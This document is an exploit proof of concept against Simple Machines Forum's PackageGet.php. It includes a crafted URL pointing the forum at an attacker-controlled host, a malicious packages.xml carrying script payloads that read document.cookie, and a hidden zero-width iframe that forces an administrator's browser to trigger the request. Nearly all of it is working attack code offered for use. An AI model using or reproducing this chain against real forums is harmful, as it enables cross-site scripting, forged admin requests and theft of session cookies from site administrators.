Author: Xianur0
Vulnerable Version: All

The Bug is located in the file: Sources/PackageGet.php

Example:
http://victm.com/index.php?action=packageget;sa=browse;absolute=http://attacker.com

When the admin link between the SMF to load the file:

http://attacker.com/packages.xml

Save this file as packages.xml

<?xml version="1.0"?>
<!DOCTYPE modification SYSTEM "http://www.simplemachines.org/xml/package-list">
<!-- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
XSRF SMF PoC By Xianur0
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -->

<package-list xmlns="http://www.simplemachines.org/xml/package-list"
xmlns:smf="http://www.simplemachines.org/">
<list-title>Xianur0 Was Here</list-title>

<section>
    <title>SMF XSS PoC By Xianur0</title>
    <text><![CDATA[<script>alert('XSS')</script>]]></text>
    <modification>
        <id>Xianur0:XSMF</id>
        <name>SMF PoC By Xianur0</name>
        <filename>smfexploit.zip</filename>
        <version>0.1</version>
        <author email="uxmal666@gmail.com">Xianur0</author>
        <description><![CDATA[<script>alert(document.cookie)</script>]]></description>
    </modification>
</section>
</package-list>

and generate the XSRF:

<iframe src ="http://victim.com/index.php?action=packageget;sa=browse;absolute=http://attacker.com"
width="0%" scrolling=no width=0%></iframe>